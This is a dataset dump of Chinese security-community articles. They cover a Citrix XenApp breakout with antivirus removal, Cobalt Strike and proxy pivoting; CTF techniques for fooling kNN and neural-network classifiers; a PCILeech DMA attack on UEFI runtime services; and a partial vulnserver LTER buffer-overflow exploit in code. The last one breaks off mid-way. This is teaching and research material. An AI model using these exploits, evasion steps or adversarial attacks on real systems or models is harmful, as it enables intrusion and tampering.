text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
#### 1、简介
Citrix
XenApp是一种按需应用交付解决方案，能够在数据中心对所有Windows应用实现虚拟化、集中部署和管理，并能作为一项服务、通过任何设备向所有用户交付应用。
#### 2、漏洞描述
以普通用户权限登陆Citrix APP可越权调取cmd窗口。
由于在XenApp上运行的程序实际都是在服务器上运行的，导致在客户端可以看到服务器上的一些资源并且调用且在获取权限后可以进一步进行横向利用。
#### 3、利用过程
对执行渗透测试任务时候，偶然发现泄漏的Citrix APP账号信息后的利用。
首先我们以普通用户权限登陆Citrix，登陆后点击语言栏
随后点击打印，将其打印到文件
通过浏览资源管理器窗口可越权调出cmd窗口并执行系统命令
通过powershell远程加在后门文件，发现上传后被杀，系统存在赛门铁克杀毒软件。
由于项目时间有限想着直接把杀毒软件给卸载，奈何卸载赛门铁克需要密码。
我们发现普通用户登陆Citrix
APP时，越权调用资源管理器窗口的时候发现系统资源管理器与虚拟桌面之间互通，此时我们直接上传赛门铁克卸载工具，绕过密码直接将杀软卸载。
CS上线
随后上传frp代理后进行内网穿透，代理成功后发现出口ip已经改变
下面就可以愉快的打内网啦。 | 社区文章 |
# CTF 中如何欺骗 AI
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
近年来，笔者在国内外 CTF 竞赛中见到不少与 AI 相关的题目。有一些是需要选手自行实现一个 AI，来自动化某些操作；有些是给出了一个目标 AI
模型，要求选手进行破解。本文主要谈论后者——在 CTF 竞赛中，我们如何欺骗题目给出的 AI？
CTF 中的欺骗 AI 问题一般分成两类：基于 **神经网络** 的和基于 **统计模型**
的。如果题目要求选手欺骗神经网络，一般会给出白盒的模型（往往是图像分类任务）；如果是要求选手欺骗统计学习模型，有些题目会给出白盒的模型参数，也有的提供训练数据集。
我们先从一道很简单的欺骗统计学习模型看起，来体验这类问题的主要求解过程。
## 欺骗 kNN：[西湖论剑2020] 指鹿为马
### 任务目标
有一个 AI 模型，要求选手上传一张图片，与 dear.png 的差异很小，但被 AI 判别为马。
import numpy as np
from PIL import Image
import math
import operator
import os
import time
import base64
import random
def load_horse():
data = []
p = Image.open('./horse.png').convert('L')
p = np.array(p).reshape(-1)
p = np.append(p,0)
data.append(p)
return np.array(data)
def load_deer():
data = []
p = Image.open('./deer.png').convert('L')
p = np.array(p).reshape(-1)
p = np.append(p,1)
data.append(p)
return np.array(data)
def load_test(pic):
data = []
p = Image.open(pic).convert('L')
p = np.array(p).reshape(-1)
p = np.append(p,1)
data.append(p)
return np.array(data)
def euclideanDistance(instance1, instance2, length):
distance = 0
for x in range(length):
distance += pow((instance1[x] - instance2[x]), 2)
return math.sqrt(distance)
def getNeighbors(trainingSet, testInstance, k):
distances = []
length = len(testInstance) - 1
for x in range(len(trainingSet)):
dist = euclideanDistance(testInstance, trainingSet[x], length)
distances.append((trainingSet[x], dist))
distances.sort(key=operator.itemgetter(1))
neighbors = []
for x in range(k):
neighbors.append(distances[x][0])
return neighbors
def getResponse(neighbors):
classVotes = {}
for x in range(len(neighbors)):
response = neighbors[x][-1]
if response in classVotes:
classVotes[response] += 1
else:
classVotes[response] = 1
sortedVotes = sorted(classVotes.items(), key=operator.itemgetter(1), reverse=True)
return sortedVotes[0][0]
def getAccuracy(testSet, predictions):
correct = 0
for x in range(len(testSet)):
if testSet[x][-1] == predictions[x]:
correct += 1
return (correct / float(len(testSet))) * 100.0
def check(pic):
source_p = Image.open('deer.png')
try:
c_p = Image.open(pic)
except:
print("Please upload right picture.")
exit()
diff_pixel = 0
a, b = source_p.size
if c_p.size[0] != a and c_p.size[1] != b:
print("Please upload right picture size("+str(a)+','+str(b)+')')
exit()
for y in range(b):
for x in range(a):
diff_pixel += abs(source_p.getpixel((x, y)) - c_p.getpixel((x, y)))
return diff_pixel
def main():
while 1:
print('-' * 134)
print(''' ____ __ _ _ _ _ _ _ _
| __ \ / _| | | | | | | | | | | | | | |
| |__) |___| |_ ___ _ __ | |_ ___ | |_| |__ ___ __| | ___ ___ _ __ __ _ ___ | |_| |__ ___ | |__ ___ _ __ ___ ___
| _ // _ \ _/ _ \ '__| | __/ _ \ | __| '_ \ / _ \ / _` |/ _ \/ _ \ '__| / _` / __| | __| '_ \ / _ \ | '_ \ / _ \| '__/ __|/ _ \\
| | \ \ __/ || __/ | | || (_) | | |_| | | | __/ | (_| | __/ __/ | | (_| \__ \ | |_| | | | __/ | | | | (_) | | \__ \ __/
|_| \_\___|_| \___|_| \__\___/ \__|_| |_|\___| \__,_|\___|\___|_| \__,_|___/ \__|_| |_|\___| |_| |_|\___/|_| |___/\___|
''')
print('-'*134)
print('\t1.show source code')
print('\t2.give me the source pictures')
print('\t3.upload picture')
print('\t4.exit')
choose = input('>')
if choose == '1':
w = open('run.py','r')
print(w.read())
continue
elif choose == '2':
print('this is horse`s picture:')
h = base64.b64encode(open('horse.png','rb').read())
print(h.decode())
print('-'*134)
print('this is deer`s picture:')
d = base64.b64encode(open('deer.png', 'rb').read())
print(d.decode())
continue
elif choose == '4':
break
elif choose == '3':
print('Please input your deer picture`s base64(Preferably in png format)')
pic = input('>')
try:
pic = base64.b64decode(pic)
except:
exit()
if b"<?php" in pic or b'eval' in pic:
print("Hacker!!This is not WEB,It`s Just a misc!!!")
exit()
salt = str(random.getrandbits(15))
pic_name = 'tmp_'+salt+'.png'
tmp_pic = open(pic_name,'wb')
tmp_pic.write(pic)
tmp_pic.close()
if check(pic_name)>=100000:
print('Don`t give me the horse source picture!!!')
os.remove(pic_name)
break
ma = load_horse()
lu = load_deer()
k = 1
trainingSet = np.append(ma, lu).reshape(2, 5185)
testSet = load_test(pic_name)
neighbors = getNeighbors(trainingSet, testSet[0], k)
result = getResponse(neighbors)
if repr(result) == '0':
os.system('clear')
print('Yes,I want this horse like deer,here is your flag encoded by base64')
flag = base64.b64encode(open('flag','rb').read())
print(flag.decode())
os.remove(pic_name)
break
else:
print('I want horse but not deer!!!')
os.remove(pic_name)
break
else:
print('wrong choose!!!')
break
exit()
if __name__=='__main__':
main()
我们详细看一遍代码，发现这个 AI 模型是 k-邻近（k-Nearest Neighbor, KNN），而且还是个 k=1
的情形，且训练集中，鹿和马各只有一张图片。题目将选手的图片读进去，做的事情如下：
1. 检查选手上传的图片与 `deer` 的像素差是否小于 100000。如果超过限制，则报告错误。
2. 求选手图片与 `deer` 和 `horse` 的欧几里得距离。离谁更近，就判定为哪个分类。
3. 如果选手图片被判定为马，则选手获胜。
`deer` 和 `horse` 都是灰度图，如下：
> 笔者建议在做机器学习类 CTF 题的时候，采用 jupyter notebook 或者 jupyter lab，并用好 matplotlib
> 来可视化当前的结果。这会大大提升工作效率。
我们现在的目标就是在 `deer` 的基础上进行小幅度修改，使得它与 `horse` 之间的的欧氏距离小于其与 `deer` 的。
### 尝试：随机噪声
为了构造出合法的图片，我们需要回去看「修改幅度」的衡量方式。其代码如下：
for y in range(b):
for x in range(a):
diff_pixel += abs(source_p.getpixel((x, y)) - c_p.getpixel((x, y)))
return diff_pixel
它衡量的是图片 A 与 B 之间每个像素点的距离之和。换句话讲，这是 **曼哈顿距离** 。笔者遇到的大部分 CTF 欺骗 AI
题目，衡量修改幅度都是采用曼哈顿距离。
这张图片共有 5184 个像素点，也就是说，平均下来，每个像素点允许 19 的偏差。事实上，这是非常宽松的值，我们随便演示一个合法的修改：
输出的图片就像老式电视一样。那么它能否骗过 AI 呢？
很遗憾，其与鹿之间的欧氏距离，小于其与马之间的欧氏距离。我们现在要开始反思一个问题：把 100000 个差异值随机平摊到每个像素上，是最好的解法吗？
### 解法：修改差异大的像素
在二维平面上考虑这个问题。假设我们想让一个点在欧氏距离的衡量下远离 (0, 0)，但要保持曼哈顿距离不超过 2。如果选择 (1, 1)，则欧氏距离为
sqrt(2)；如果选择 (0,2)，则欧氏距离可以达到 2，这是更优的选择。
那么，我们相应地猜测：对于本题，我们应该把一些像素点直接改到与 `horse` 的对应像素相等；其他的像素点可以放弃。而那些应当修改的点，是 `deer`
与 `horse` 像素差异最大的点。
生成了一张很怪的图。来验证一下是否满足要求：
可见与鹿的距离是 4003，与马的距离是 2538，骗过了 AI。像素差异是 99999，我们成功完成了题目指定的目标。
### 数学上的证据
我们刚刚基于「差异越大的像素越应该修改」这个猜测，成功地解决了问题。这里给出为什么 it works 的证明。不爱看证明的读者可以跳过。
所以，我们从数学上证明了为什么「差异越大的像素点，越值得更改」。并且从数学推导中，我们还可以发现另一个结论：将像素点改成马的对应像素值，并非最优解。要改就改彻底：要么改成
0，要么改成 255。不过本题的像素差异限制 100000 是一个很松的界，所以我们之前不那么优秀的算法也可以成功。
### 总结
回顾我们的做题过程，我们从一个原图片 X 出发，施加一个很小的扰动向量，获得样本 Y，且 AI 对 Y 的表现与对 X
的表现非常不同。这样的样本被称为「对抗样本」，如何构造高质量的对抗样本、利用对抗样本来改进模型的鲁棒性，是机器学习研究中逐步受到重视的一个方向。
需要注意的是，攻击统计学习 AI 模型，往往需要进行一些数学推导。如果读者有兴趣，笔者推荐了解一下 kNN、kmeans、混合高斯模型等经典的统计学习方法。
## 欺骗白盒神经网络
### 概述
神经网络能解决大量传统模型难以解决的问题，近年经历了飞速发展。神经网络一般是由多层神经元构成的，每个神经元有自己的参数。下图是一个简单的神经网络模型（多层感知机）：
图源 [IBM](https://www.ibm.com/cloud/learn/neural-networks)。本文假定读者已经对神经网络有一些了解；如果从零学起的话，笔者推荐看一看 3Blue1Brown 的机器学习教程、PyTorch
的官方教程。
以上图描述的神经网络为例。在图像分类任务中，图像的每个像素点被输入到第一层，然后传导到第二层、第三层……直到最后一层。最后一层的每个神经元代表一个分类，其输出是「图像是否属于本类」的打分。我们一般取打分最高的那一类，作为分类结果。
CTF 中的欺骗神经网络题一般如下：给定一个预训练好的分类模型（PyTorch 或者
TensorFlow），再给定一张原图。要求小幅度修改原图，使得神经网络将其误分类为另一个类别。
### 攻击手段
我们训练神经网络时，一般采用梯度下降的方法。每一轮迭代可以理解为下面的过程：首先输入 X，然后运行 net(X)
获取输出，根据网络输出与期望输出的不同，来反向传播，修改网络模型的参数。
那么，我们现在要攻击这个网络，可以采取什么办法呢？首先还是给网络提供原图 X，得到输出
net(X)，接下来，我们根据「网络分类的结果」与「我们想要误导的结果」的差异计算 loss 值，进行反向传播。但是需要注意，我们
**不修改网络参数，而是将原图减去其梯度** 。这样迭代若干次，直到成功误导 AI 为止。
下面，我们以识别手写数字（MNIST数据集）的任务为例，从训练网络开始，演示一下攻击方法。
### 实践：训练神经网络
这里采用 PyTorch 来实现神经网络。首先是导入数据集：
import torch
import torchvision
import torch.nn as nn
import torchvision.transforms as transforms
import torch.nn.functional as F
import numpy as np
import matplotlib.pyplot as plt
trans_to_tensor = transforms.Compose([
transforms.ToTensor()
])
data_train = torchvision.datasets.MNIST(
'./data',
train=True,
transform=trans_to_tensor,
download=True)
data_test = torchvision.datasets.MNIST(
'./data',
train=False,
transform=trans_to_tensor,
download=True)
data_train, data_test
实现一个 DataLoader，作用是生成随机打乱的 mini batch 用于训练：
train_loader = torch.utils.data.DataLoader(
data_train,
batch_size=100,
shuffle=True)
来看一个 mini batch。
接下来定义网络。我们采用一个很原始的模型：将输入的 28*28 的灰度图展开为一维数组，然后经过 100 个神经元的全连接层，激活函数为
ReLu。接下来再通过 10 个神经元的全连接层，激活函数为 sigmoid，作为预测值输出。
class MyNet(nn.Module):
def __init__(self):
super().__init__()
self.fc1 = nn.Linear(28*28, 100)
self.fc2 = nn.Linear(100, 10)
def forward(self, x):
x = x.view(-1, 28*28)
x = self.fc1(x)
x = F.relu(x)
x = self.fc2(x)
x = torch.sigmoid(x)
return x
net = MyNet()
如果图像中的数字是 c，我们希望输出的 10 维向量中仅有第 c 位是 1，其余都是 0。所以我们采用交叉熵损失函数以及 Adam 优化器：
criterion = nn.CrossEntropyLoss()
optimizer = torch.optim.Adam(net.parameters())
接下来就是训练这个网络。
def fit(net, epoch=1):
net.train()
run_loss = 0
for num_epoch in range(epoch):
print(f'epoch {num_epoch}')
for i, data in enumerate(train_loader):
x, y = data[0], data[1]
outputs = net(x)
loss = criterion(outputs, y)
optimizer.zero_grad()
loss.backward()
optimizer.step()
run_loss += loss.item()
if i % 100 == 99:
print(f'[{i+1} / 600] loss={run_loss / 100}')
run_loss = 0
test(net)
def test(net):
net.eval()
test_loader = torch.utils.data.DataLoader(data_train, batch_size=10000, shuffle=False)
test_data = next(iter(test_loader))
with torch.no_grad():
x, y = test_data[0], test_data[1]
outputs = net(x)
pred = torch.max(outputs, 1)[1]
print(f'test acc: {sum(pred == y)} / {y.shape[0]}')
net.train()
来看 5 个 epoch 之后的结果：
我们训练出了测试准确率 97.89% 的网络。接下来，我们开始针对网络进行攻击。
### 实践：欺骗白盒多层感知机
目前网络的所有参数我们都是知道的。在 CTF 中，一般会提供训练网络的代码，以及通过 `torch.save()` 导出的预训练模型，选手通过
`model.load_state_dict()` 即可导入模型参数。
我们随便选择一个数据，作为原图：
我们的模型以很强的信心，将其分类为 2。接下来，我们篡改原图，使得网络将其误分类为 3。过程如下：
1. 将图片输入网络，得到网络输出。
2. 将网络输出与期望输出求 loss 值（这里采用交叉熵）。
3. 将图片像素减去自己的梯度 * alpha，不改变网络参数。
重复以上过程，直到误导成功为止。代码如下：
def play(epoch):
net.requires_grad_(False) # 冻结网络参数
img.requires_grad_(True) # 追踪输入数据的梯度
loss_fn = nn.CrossEntropyLoss() # 交叉熵损失函数
for num_epoch in range(epoch):
output = net(img)
target = torch.tensor([3]) # 误导网络，使之分类为 3
loss = loss_fn(output, target)
loss.backward() # 计算梯度
img.data.sub_(img.grad * .05) # 梯度下降
img.grad.zero_()
if num_epoch % 10 == 9:
print(f'[{num_epoch + 1} / {epoch}] loss: {loss} pred: {torch.max(output, 1)[1].item()}')
if torch.max(output, 1)[1].item() == 3:
print(f'done in round {num_epoch + 1}')
return
img = origin.view(1, 28, 28)
play(100)
我们成功地构造出了一个对抗样本，我们人类看显然还是 2，但模型将其识别为 3。至此成功完成任务。对比图如下：
### 总结
很多 CTF 欺骗神经网络题目，都可以采用上面这一套代码。训练网络的代码选手不用自己写，只需要导入预训练好的模型即可。在迭代时，选手应该选取合适的学习率
alpha（笔者的代码中是
0.05）、添加一些特殊约束（例如对每个像素的修改距离不能超过特定值）。无论如何，欺骗白盒神经网络的主要思想，往往都是「固定网络参数、通过梯度下降修改原图」。
## 更进一步的讨论
我们已经一步步完成了对白盒神经网络的欺骗。但日常生活中，很少有神经网络会把自己的参数广而告之，这使得我们不能采用上面的套路去攻击。此外，我们上面生成的那张图片很不「自然」，有大量的背景噪声，而这是正常的数字图片中不会存在的。
关于这些问题，ICLR2018 的一篇论文 [Generating natural adversarial
examples](https://arxiv.org/abs/1710.11342)
可以提供一些启发。该论文提出的方法不要求预先知道网络参数，甚至不要求知道网络模型。而且该方案能生成比较自然的对抗样本，如下所示：
那么，他们是如何做到的呢？下面简要描述一下原理。首先，通过类似于 CycleGAN 的思路，训练一个从 latent space
到图片的生成器、一个从图片反推 z 的编码器。接下来，把原图编码成向量 z，并在 z 的附近随机选择很多的 z’，利用生成器从这些 z’
生成图片，然后交给目标模型去判断。如果有图片成功误导了模型，则报告成功。
论文作者给出了该方法用于 CV 和 NLP 两个领域的成效，并成功地攻击了谷歌翻译。他们的代码开源在
[Github](https://github.com/zhengliz/natural-adversary) 上。
这是一个适用范围比较广的方案，不过笔者认为可能不适合用于 CTF 出题。这是因为训练 GAN 是一件费时费力、且需要机器学习技巧的工作，已经超出了 CTF
一般的考察范畴；且由于出题人模型是黑盒的，可能训练模型技巧较好、使用的判别模型与出题人差异较大的选手反而难以成功。
总而言之，对抗样本是一条很有趣的研究方向。笔者今天介绍了 CTF 竞赛中欺骗 AI 的一般步骤，希望对 CTF 选手有所帮助。 | 社区文章 |
# 【技术分享】攻击UEFI运行时服务和Linux
|
##### 译文声明
本文是翻译文章，文章来源：frizk.net
原文地址：<http://blog.frizk.net/>
译文仅供参考，具体内容表达以及含义原文为准。
**翻译：**[ **胖胖秦** ****](http://bobao.360.cn/member/contribute?uid=353915284)
**预估稿费：140RMB**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**前言**
具有物理访问权限的攻击者能够在许多具有DMA-直接内存访问的完全修补的计算机上攻击固件。一旦在UEFI/EFI运行时服务中执行代码，就可以使用脚本来控制正在运行的Linux系统。
Linux
4.8内核完全随机化了内核的物理内存地址。如果计算机拥有足够大的内存，内核很有可能随机化到4G以上的地址空间上。这意味着DMA硬件攻击仅能够攻击32位的地址（4GB），如PCILeech，不能直接攻击Linux内核。
由于EFI运行时服务通常位于4GB以下，因此它们在高内存EFI引导系统上提供了一种进入Linux的方法。
**演示视频**
请参阅下面的视频，了解攻击是如何进行的。
**什么是EFI运行时服务？**
PC上的UEFI，mac上的EFI是现代化的BIOS。UEFI是统一的可扩展固件接口的缩写。UEFI负责检测硬件和配置设备，以便于将控制移交给正在加载的操作系统。
UEFI的两个主要组件是引导服务和运行时服务。操作系统上很早就调用ExitBootServices。随后引导服务就不再使用。
即使在操作系统加载和运行后，EFI Runtime
Services仍然保持运行。它们提供操作系统可以调用的各种功能。UEFI规范指定了运行时服务应该向操作系统提供的一组固定的函数，如下所示。
**UEFI运行时服务**
最初，运行时服务功能的位置通过运行时服务表传送到操作系统。每个函数的物理地址是64位/8字节长，并以小端存储的形式保存在内存中。然而，到目前为止，所有系统的内存地址都在32位范围内。物理内存地址似乎是完全不变的，即在重新启动之间不发生随机化。
Linux随后将这些地址映射到虚拟地址空间，并用相应的虚拟地址覆盖表中的初始地址。初始表和被Linux修改后的表的如下所示。
EFI Runtime服务表，原始在左边，Linux修改的为右边。
**攻击**
如果我们使用DMA用自己的代码覆盖EFI运行时服务表会发生什么？或者，如果我们修改EFI运行时服务表的指针，让它指向之前插入的攻击代码，这又会发生什么？
当操作系统调用EFI运行时服务时，会在目标系统上执行代码-例如当它读取一个EFI变量。在特殊上下文中获得执行代码，其中较低的内存页面在虚拟地址与物理地址之间以1：1映射。在正常的虚拟地址中是可以访问到Linux内核的。在ring0/supervisor模式下执行。
然而，调用Linux内核中的所有函数是不可能的。一些函数会调用失败，因为Linux已经为运行时服务设置了特殊的EFI上下文。针对这种情况，可以在Linux内核中patch
一个“随机”的钩子函数。当“正常”内核线程命中该钩子时，被hook的内核代码将会被执行.
目标系统运行Ubuntu 16.10，连接着攻击硬件的PCILeech。右视图为PCILeech
**目标**
已经在一台具有8GB内存的联想T430和一台具有32G内存的 Intel NUC Skull
Canyon做过了测试。T430的ExpressCard插槽用于获得DMA访问，在NUC上，在“BIOS”中设置Thunderbolt模式为“Legacy”
– 允许通过Thunderbolt3 / USB-C进行DMA访问。
T430非常简单,只需插入PCILeech设备并调用pcileech.exe kmdload -kmd
linux_x64_efi命令。PCILeech将搜索EFI运行时服务表并hook它。然后要求用户执行某些操作来触发已hook过的服务。
NUC是不同的。PCILeech在找到目标之前如果遇到不可读的内存就会失败。幸运的是，运行时服务表的地址是静态的，在重新启动之间不会改变。这适用于所有已测试的系统。找到地址最简单的方法是通过在同一系统或相似系统上以EFI模式用USB引导启动Linux。一旦启动就调用命令cat
/sys/firmware/efi/runtime来查看运行时服务表的物理地址。一旦知道地址是0x3b294e18，我们可以调用命令
pcileech.exe kmdload -kmd linux_x64_efi -min 0x3b294000 -max 0x3b295000
显示被攻击的运行时服务表
**备注**
如果你也想试试，可以查看Github上的PCILeech。
虽然漏洞总是在运作,但是攻击并不是100％稳定的。有时，搜索运行时服务表会失败，有时很难触发对运行时服务表的调用。有时目标系统也会崩溃。
**结论**
在Linux 4.8操作系统上，如Ubuntu 16.10。由于可以利用PCILeech，所以不再是完全安全的。
即使你的笔记本电脑可能没有一个ExpressCard插槽，但是如果拧开后盖，它可能会有一个mini-PCIe或M.2插槽。
操作系统将重要的数据放在高于32-bit/4GB的地址上并不能阻止DMA攻击。32位硬件（如PCILeech）会攻击低于4GB的代码和数据。其他恶意硬件也可能攻击多达到64位地址空间。
操作系统应该启用VT-d来保护自身和固件（例如运行时服务）免受恶意设备的攻击。 | 社区文章 |
我们利用下面的骨架对LTER命令进行开发利用。
#!/usr/bin/python
import os
import sys
import socket
host = "192.168.1.129"
port = 9999
buffer = "A"*3000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("LTER /.:/" + buffer)
print s.recv(1024)
s.close()
发送下面这个代码会导致应用程序崩溃。
我运行了 !mona pc 3000 来生成一个3000字节的唯一字符串。
#!/usr/bin/python
import os
import sys
import socket
host = "192.168.1.129"
port = 9999
buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("LTER /.:/" + buffer)
print s.recv(1024)
s.close()
使用 !mona findmsp，确定该偏移量为2003字节。
下面将代码中的偏移量改成正确的偏移量。
#!/usr/bin/python
import os
import sys
import socket
host = "192.168.1.129"
port = 9999
buffer = "A"*2003
buffer += "BBBB"
buffer += "C"*(3000-len(buffer))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[*] Sending exploit..."
s.send("LTER /.:/" + buffer)
print s.recv(1024)
s.close()
我们可以确定偏移量是正确的，4个B字符覆盖了EIP。还可以看到，ESP直接位于EIP之后，并指向C的缓冲区。
为了找到坏字符，我修改了以下代码，并将其存储在4个B的后面。
#!/usr/bin/python
import os
import sys
import socket
host = "192.168.1.129"
port = 9999
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
